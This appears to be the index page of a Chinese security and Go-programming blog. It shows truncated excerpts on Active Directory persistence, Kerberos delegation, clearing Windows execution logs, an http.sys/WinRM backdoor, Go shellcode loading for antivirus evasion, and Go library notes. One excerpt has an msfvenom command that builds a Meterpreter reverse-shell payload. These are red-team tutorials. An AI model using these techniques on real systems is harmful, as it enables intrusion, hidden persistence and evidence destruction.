七友

AdminSDHolderAdminSDHolder是一个特殊的AD容器，通常作为某些特权组成员的对象的安全模板，每个AD域中都有一个AdminSDHolder对象，在域的System容器中，DN为："CN=AdminSDHolder,CN=System,DC=domain,DC=com" 关于AdminSDHolder更多请查看微软手册：地址) 枚举受保护的AD账户和组... 阅读全文…

前置知识域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动 委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式，还有一种是基于资源的约束委派（Resource Based Constrained Delegation）不过不是本文的重点，下面我们来分别介绍一下非约束委派和... 阅读全文…

前言当我们拿下一台windows主机权限的时候之后，我们第一步需要全面了解主机的信息，而文件执行记录也是一个非常重要的点，下面总结常见文件执行记录的位置、以及单条清除方法 从日志中获取Audit Process Creation (592/4688)在启用了”审核进程创建”时记录4688的情况下（系统默认是关闭的，需要手动开启），Windows 7、Windows Server 2008及以... 阅读全文…

利用http.sys端口复用实现后门原理这个后门的基本原理是用Windows的远程管理管理服务WinRM配合http.sys端口复用的特性实现正向连接的后门 http.sys简介1HTTP.sys是仅在Windows上运行的ASP.NET Core的web服务器。HTTP.sys是Kestrel服务器的替代品，它提供了Kestrel没有提供的一些功能。 http.sys支持的系统121. W... 阅读全文…

GORM学习大部分实例来自文档 模型模型定义实例123456789101112type User struct { gorm.Model Name string Age sql.NullInt64 Birthday *time.Time Email string `gorm:"type:varchar(100);u... 阅读全文…

Gin学习最简单的实例12345678910111213141516package mainimport ( "github.com/gin-gonic/gin" "net/http")func main() { r := gin.Default() r.GET("/", func(c *gin.Context) { c.JSON(http.StatusOK, gin.... 阅读全文…

用Python加载shellcode能有一定的免杀效果想必已经老生常谈了，然后我就突发奇想，如果用go加载shellcode能不能达到python那样的效果呢 用msfvenom生成一段shellcode1msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234 这里要注意一... 阅读全文…

今天在golang指针类型转换上遇到的一些问题，这里记录一下，代码如下 1234567891011121314151617package mainimport ( "fmt" "unsafe")func main() { var f float32 f = 3.0 var a int a = *(*int)((unsafe.Pointer(&f))) fmt.Println... 阅读全文…

Golang学习笔记你的 Go 安装目录（$GOROOT）的文件夹结构应该如下所示： 1234567/bin：包含可执行文件，如：编译器，Go 工具/doc：包含示例程序，代码工具，本地文档等/lib：包含文档模版/misc：包含与支持 Go 编辑器有关的配置文件以及 cgo 的示例/os_arch：包含标准库的包的对象文件（.a）/src：包含源代码构建脚本和标准库的包的完整源代码（Go ... 阅读全文…

文章首发于先知社区：https://xz.aliyun.com/t/6461 前言当我们通过各种方法拿到一个服务器的权限的时候，我们下一步要做的就是后渗透了，而后门持久化也是我们后渗透很重要的一部分，下面我来总结一下windows下常见的后门持久化的方法 ... 阅读全文…